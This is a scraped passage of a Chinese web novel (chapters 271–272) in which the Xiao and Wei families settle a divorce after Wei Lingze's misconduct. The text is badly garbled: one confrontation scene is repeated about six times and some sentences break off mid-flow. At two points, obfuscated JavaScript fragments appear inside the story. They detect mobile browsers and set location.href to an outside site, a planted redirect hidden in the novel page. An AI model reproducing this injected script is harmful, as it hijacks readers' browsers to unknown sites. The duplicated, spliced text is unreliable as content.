,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086525|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” 第271章 准备和离 按照昭陵律法当众滋事致多人受伤者要游街示众鞭笞五十。 行舟把所有的事都揽在了自己身上检使官犹豫再三最终决定罚卫凌泽鞭笞二十。 萧家人一直没走检使官不敢包庇行刑结束卫凌泽虚弱得有些站不稳云氏立刻让人把卫凌泽扶住心疼得直掉泪:“泽儿你没事吧?娘这就带你去回春堂看大夫。” 卫凌泽没有回答目光越过人群直勾勾地盯着萧清禾。 折腾了一夜萧清禾脸上染了些许倦色她没有看他微微侧头看向站在不远处的萧夜辰。 窄巷之中萧夜辰是真的想杀了卫凌泽若非沈清渊及时出现阻止他可能已经得手了。 到了巡夜司他自然也推辞说巷中无光认错了人才会出手。 有萧家人帮忙作证萧夜辰并没有受到任何惩罚。 这会儿察觉到卫凌泽的目光萧夜辰立刻抬眸看了过来。 两人之间的距离挺远的但卫凌泽很明显的感受到了萧夜辰眸底的杀意。 萧清禾有没有移情别恋卫凌泽不敢肯定但同为男人他很确定萧夜辰对萧清禾存着不一样的心思。 一个被收养在萧家的可怜虫竟敢觊觎萧家的掌上明珠真是不知天高地厚! 卫凌泽在心底冷笑云氏只当他放不下萧清禾柔声劝道:“泽儿禾儿昨夜受了惊吓萧家人也还在气头上这个时候还是不要上前纠缠先去回春堂治伤吧。” 昨夜萧清禾说的那些话还在耳边回响 刚走出巡夜司就看到一辆马车停在外面春喜精神抖擞地走了下来。 昨夜春喜到巡夜司说明了情况就被沈清渊强行带回家休息了等沈清渊出门上值她才又来到巡夜司。 晨光璀璨春喜的气色更是红润好看。 长了眼睛的人都看得出来春喜最近日子过得极好。 卫凌泽想到昨晚春喜是第一个冲进巷子带头打自己的眸底不由得戾气翻涌云氏看见春喜这活力满满的样子也沉了脸。 要不是这个扫把星故意设计陷害泽儿有了私生子萧家也不能如此强硬地把禾儿留在家里。 两人怒意横生春喜却是心情极好她快步走到两人面前明知故问:“我记得我昨晚下手没这么重呀侄婿怎么连路都走不了了?” 春喜话里没有关心全是幸灾乐祸。 她眼珠一转看到卫凌 泽背上被抽得破破烂烂的衣裳,夸张地惊呼:“侄婿这是受刑了吗?为什么呀?难道昨晚的骚动不是意外,是侄婿指使人干的?” 春喜的声音很大,恨不得把这件事宣扬得人尽皆知。 云氏本就不高兴,听完春喜的话更是生气,她瞪着春喜,半是警告半是威胁:“你现在也是要做母亲的人了,应该谨言慎行,免得损了腹中孩子的福报。” 云氏表情严肃,这番话说得挺吓人的。 春喜没有被吓到,弯眸一笑:“多谢夫人提醒,不过我是不信这些的,毕竟这世上做缺德事的人多了去了,如果有报应也该先报应到他们身上。” 春喜话里有话,云氏莫名想到了之前被卫凌泽杀死的丫鬟。 那时卫凌泽刚受伤,完全无法接受自己瘫痪这件事,他不肯让御医诊治,也不许任何人近身。 派去伺候他的丫鬟一个不留神就会**掉。 春喜是第八个。 为了不让事情宣扬出去,云氏给了那些丫鬟的家里人很大一笔**。 一个贱命丫鬟能换这样一大笔钱,她们的家人哪里还有不满意的? 云氏也觉得自己是很好的当家主母,这三年里,她从未想起过那些丫鬟,更不记得她们姓甚名谁。 可这会儿看着春喜,她突然惊觉,还是有人记得的。 春喜会记得,行舟会记得,卫家的一些老管事和婆子也会记得。 她拿钱封的只是活人的口,死去的亡灵也许还在日日夜夜的哀嚎控诉卫凌泽犯下的杀孽。 这个念头一冒出来,云氏竟有些不敢直视春喜的眼睛,匆匆低下头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095002|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 卫凌泽在战场上杀过敌,并不觉得春喜口中的报应会发生在自己身上,他一点儿也不心虚,仍瞪着春喜。 春喜挑眉,迎上他的目光:“侄婿这么看着我做什么?莫不是想起你我之间的旧怨了?” 春喜刚说完,萧家人也走出了巡夜司。 卫凌泽意识到自己还在“失忆”中,不得不收敛了戾气,沉沉道:“小婶婶想多了,我什么都没有想起来。” “哦。” 春喜拉长声音,意味深长。 卫凌泽咬紧牙关,余光瞥见萧家人出来了,没再跟春喜斗嘴,和云氏一起离开。 两人先去回春堂治伤,刚回到家,卫父就下朝回来了。 卫父的脸色很难看,怒气冲天,一进屋,他就冷着脸对云氏说:“把禾儿的嫁妆清点出来,待我休沐叫上族老一起去萧家谈和离之事。” “不行!” 趴在床上的卫凌泽第一时间反对,云氏也焦急道:“老爷,不行啊,泽儿不能跟禾儿和离啊。” 卫凌泽这次被停职不知道什么时候才能被复用,再跟萧清禾和离,日后怎么坐稳卫家家主之位? “不行?这些日子让禾儿受了多少委屈,你们以为萧家是什么任人拿捏的软柿子吗?今早沈清渊在朝堂上参了我一本,陛下当着满朝文武的面呵斥我教子无方,萧家还没有落井下石就已经是如此局面了,再纠缠下去,你们是要整个卫家颜面扫地吗?” 卫父一声比一声高,额头青筋鼓跳,昭示了他心底的愤怒。 卫凌泽却一个字都听不进去,他强撑起身体,呼吸沉重:“我不管,禾儿已经是我的人了,她生生世世都只能是我的,我不许任何人染指她!” 卫凌泽一用力,后背的伤就崩裂开来,云氏看得心疼,忍不住求情:“老爷,泽儿真的不能失去禾儿,求老爷……” 云氏话没说完,被卫父扇了一巴掌:“够了,你不仅仅是他的母亲,更是卫家的当家主母,给我清醒一点儿。” 第272章 和离 云氏被卫父那一巴掌打醒,不敢再由着卫凌泽胡闹,当即派人把凌枫院严加看守起来,免得卫凌泽去萧家**。 没办法出门,卫凌泽打砸完凌枫院的东西,便开始绝食。 下人来报后,云氏揉揉太阳穴,疲倦道:“先让他饿几日,等他没力气了再说。” 下人刚走,云家又派了人来。 自云氏接掌管家权做了卫家主母,云家就鲜少主动派人叫她回家,怕家里出了什么大事,云氏给院中几个心腹交代了一番便坐上马车回家去了。 云家并未出什么大事,只是最近萧清禾回娘家住了,还很多流言蜚语,云母想关心一下卫凌泽的情况。 云氏身心俱疲,并未隐瞒云母,把所有的事都说出来。 云母听完大骂云氏糊涂:“禾儿那是多好的姑娘啊,你怎可偏心泽儿如此对她,还做出给她下药这种事?最近外面都在传禾儿身体有问题,难以有孕,这可也是你故意让人往她身上泼的脏水?” “不是!”云氏连忙否认,“母亲,卫萧两家已经闹得这样难看了,我便是再糊涂也不会在这种时候往禾儿身上泼脏水啊。” “那你为何不帮禾儿澄清?” 云母立刻质问,看向云氏的眼神十分犀利。 云氏颓然地垮下肩膀。 萧清禾难以有孕的消息的确不是她传出去的,但这件事带来的**对卫家有利,云氏忍不住抱了侥幸心理。 女子难孕是非常不好的事,即便是萧家这样的门第,萧清禾有了这样的名声,和离后也难再另嫁,若是萧家有所顾忌,也许萧清禾和卫凌泽还有回寰的余地。 云氏没有说话,但那点儿心思在云母面前无处遁形。 云母气得指着她的鼻子骂:“糊涂,真是太糊涂了,我们云家是书香门第,你读的书不比男子少,你嫁入卫家这么多年,卫家更不曾薄待你,你怎可糊涂到这种地步?” “母亲,那些道理女儿都懂,可泽儿是女儿十月怀胎生下来的,他当初是怎样的意气风发啊,受伤这件事对他的打击太大了,他好不容易才又站起来,女儿实在是不忍心再让他受半点挫折。” 云氏说着落下泪来。 曾经她也是以家族荣耀和大局为先的卫家主母,但眼睁睁地看着亲生儿子瘫在床上却无能为力那些日子,她的心被捣碎了无数遍,实在不舍得再对卫凌泽苛责半句。 云母能理解云氏的心情,却不能赞同她的做法,她叹了口气道:“泽儿会走到今日,都是你害的,你若不想继 续错下去,就尽早让两个孩子和离吧。” “不行的母亲,泽儿离不开禾儿……” 云氏还想挣扎,云母直接拿了一沓纸给她。 “腊八庙会,泽儿因为一己之私害得好多无辜学子受伤,这些人写了许多文章夸赞萧家的善举大义,若再纠缠下去,他们就该掉转笔锋讨伐卫家了。” 这些人并不是被萧家收买,拿了钱才写的文章,而是在危难时刻,得到了萧家的救助,发自内心地觉得萧家仁义善良,并且在和卫家的联姻中受了巨大的委屈。 一旦**起来,将一发不可收拾。 云氏看着那些文章,手抖了抖。 她明白,不管是沈清渊在朝堂上的参奏还是这些学子写的文章,都是萧家给卫家的警告。 萧家不是没有能力逼卫家和离,而是顾虑着两家颜面,给卫家面子。 云母叹了口气,沉沉道:“事已至此,唯有和离才是为泽儿好。” 云氏闭上眼睛,半晌才开口:“我明白了,母亲。” 卫凌泽是不可能同意和离之事的,卫父和云氏直接带着卫家族老去了萧家。 和商谈婚事时的喜气洋洋不同,所有人的表情都很凝重。 卫家愿意将萧清禾的嫁妆悉数退回,并贴出告示澄清,萧清禾的身体没有问题,两人是因为脾性不和自愿分开的,以后男婚女嫁,互不干扰。 当场销毁婚书和信物后,萧父和卫父又一起去户部销了两人的婚籍。 傍晚,萧清禾拿到了和离书。 和离书并不是出自卫凌泽之手,而是由卫父写的,但上面盖了卫凌泽的私印。 萧清禾拿着和离书,不厌其烦地看了一遍又一遍,过去十多年的光阴变成无数碎片不断在脑海里闪现。 这十多年,她真挚且热烈地爱过一个人,为他忤逆父母,为他承受各种非议,为他撞南墙。 如今,他们一别两宽,再无瓜葛。 萧清禾拿着和离书坐了许久都没有说话,雀枝忍不住担忧:“小姐,你还好吗,若是想哭就哭出来吧。” 萧清禾摇头。 她不想哭,只是觉得畅快。 有种终于摆脱了所有束缚的畅快。 雀枝约莫是无法理解她的,府里其他人应该也无法理解。 萧清禾想了一会儿,突然很想见见春喜。 她没有犹豫,立刻让人准备马车去找春喜。 半路下起雪来,等她到时,风雪更大。 萧清禾没穿披风也没 带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到春喜振奋的、充满力量的声音:“太好了,禾儿,恭喜你,以后你都自由啦!” 是啊,她自由了。 萧清禾用力环住春喜,回应了这个拥抱。 片刻后她轻声说:“小婶婶,也恭喜你。” “诶?恭喜我什么?” 春喜有些不解,萧清禾柔柔道:“当初你离开卫家的时候,应该和我一样高兴,但那时可能没有人给你一个拥抱,这句恭喜是送给那个时候的你的。” 春喜心头一软,鼻子有点发酸。 卫凌泽这个身在福中不知福的狗东西,后半辈子就后悔去吧! 与此同时,卫家。 卫凌泽摔碎碗,用碎片抵住自己的喉咙:“我不同意和离,让我去见禾儿,不然我就死给你们看!” 